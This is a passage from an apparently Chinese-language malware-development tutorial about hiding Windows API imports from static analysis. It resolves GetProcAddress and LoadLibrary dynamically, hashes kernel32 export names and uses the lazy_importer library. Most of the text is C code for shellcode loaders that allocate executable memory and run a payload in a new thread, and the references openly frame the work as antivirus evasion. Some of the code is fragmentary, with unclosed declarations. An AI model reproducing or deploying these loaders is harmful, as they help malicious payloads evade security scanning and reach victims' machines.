MessageBox一致。之后调用MyMessageBox即可
而要获取dll中的函数地址要用到GetProcAddress
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
继续看GetModuleHandle和LoadLibrary
HMODULE GetModuleHandleA(
LPCSTR lpModuleName
);
HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);
#include<stdio.h>
#include<Windows.h>
typedef int(WINAPI * pMessageBoxW)(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
int main()
pMessageBoxW MyMessageBox = (pMessageBoxW)GetProcAddress(LoadLibrary("USER32.dll"),"MessageBoxA");
MyMessageBox(0,0,0,0);
return 0;
运行后弹框
再次查看导入表,成功隐藏了MessageBox,并且USER32.dll也没有了
hash加密进行替换。
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
unsigned int hash(const char* str)
unsigned int hash = 7759;
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c;
return hash;
int main()
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (!hKernel32) return 0;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
if (strcmp(pFunctionName, "VirtualAlloc") == 0)
printf("hash VirtualAlloc %x", hash(pFunctionName));
break;
hash VirtualAlloc 80fa57e1
得到加密后的VirtualAlloc为80fa57e1
,38行换成if (hash(pFunctionName) == 0x80fa57e1)
,即可避免VirtualAlloc出现。
示例代码
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
#include <string.h>
typedef LPVOID(WINAPI* pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
typedef HANDLE(WINAPI* pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
typedef DWORD(WINAPI* pWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
unsigned int hash(const char* str)
unsigned int hash = 7759;
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c;
return hash;
int main()
pVirtualAlloc myVirtualAlloc = NULL;
pCreateThread myCreateThread = NULL;
pWaitForSingleObject myWaitForSingleObject = NULL;
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
if (!hKernel32) return 0;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER) & (pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; ++i)
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
PVOID pFunctionAddress = (PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]];
if (hash(pFunctionName) == 0x80fa57e1)
myVirtualAlloc = (pVirtualAlloc)pFunctionAddress;
if (hash(pFunctionName) == 0xc7d73c9b)
myCreateThread = (pCreateThread)pFunctionAddress;
if (hash(pFunctionName) == 0x50c272c4)
myWaitForSingleObject = (pWaitForSingleObject)pFunctionAddress;
unsigned char shellcode[] = "\x55\x64\x8B\x35";
if (!myVirtualAlloc || !myCreateThread || !myWaitForSingleObject)
return 0;
LPVOID lpAddress = myVirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
CopyMemory(lpAddress, shellcode, sizeof shellcode);
HANDLE hThread = myCreateThread(NULL, 0, lpAddress, NULL, 0, NULL);
myWaitForSingleObject(hThread, INFINITE);
导入表已经没有GetProcAddress
了,但还是存在GetModuleHandle
,解决办法是使用PEB。本人太菜没学过,就不写了
lazy_importer,用法非常简单,include
lazy_importer.hpp后,然后把原来函数
改成LI_FN(原来函数)
就行,NULL
改成nullptr
即可。
#include <windows.h>
#include <stdio.h>
#include "lazy_importer.hpp"
int main()
unsigned char shellcode[] = "\x25\x22";
int size = sizeof(shellcode);
LPVOID lpAddress = LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(lpAddress, shellcode, size);
(*(void (*)())lpAddress)();
不过我查看导入表,还是有GetModuleHandle
函数,暂时先这样吧。
lazy_importer的源码,也用到了peb,实战的时候还是用lazy_importer吧,节省时间。
静态恶意代码逃逸(第七课)
动态调用无导入表编译
Malware development part 4 - anti static analysis tricks
PEB结构:获取模块kernel32基址技术及原理分析